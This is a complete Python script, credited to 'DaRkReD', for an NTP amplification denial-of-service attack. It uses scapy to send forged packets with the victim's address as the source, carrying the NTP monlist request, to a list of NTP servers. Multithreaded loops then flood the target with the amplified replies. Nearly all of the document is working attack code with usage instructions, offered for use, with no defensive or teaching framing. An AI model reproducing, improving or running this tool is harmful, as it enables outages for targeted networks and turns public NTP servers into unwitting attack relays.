NTP Amplification Denial Of Service Tool

#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#by DaRkReD
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
 
#packet sender
def deny():
  #Import globals to function
  global ntplist
  global currentserver
  global data
  global target
  ntpserver = ntplist[currentserver] #Get new server
  currentserver = currentserver + 1 #Increment for next 
  packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
  send(packet,loop=1) #SEND IT
 
#So I dont have to have the same stuff twice
def printhelp():
  print "NTP Amplification DOS Attack"
  print "By DaRkReD"
  print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
  print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
  print "NTP serverlist file should contain one IP per line"
  print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  exit(0)
 
if len(sys.argv) < 4:
  printhelp()
#Fetch Args
target = sys.argv[1]
 
#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
  printhelp()
 
ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
    ntplist = f.readlines()
 
#Make sure we dont out of bounds
if  numberthreads > int(len(ntplist)):
  print "Attack Aborted: More threads than servers"
  print "Next time dont create more threads than servers"
  exit(1)
 
#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4
 
#Hold our threads
threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"
 
#Thread spawner
for n in range(numberthreads):
    thread = threading.Thread(target=deny)
    thread.daemon = True
    thread.start()
 
    threads.append(thread)
 
#In progress!
print "Sending..."
 
#Keep alive so ctrl+c still kills all them threads
while True:
  time.sleep(1)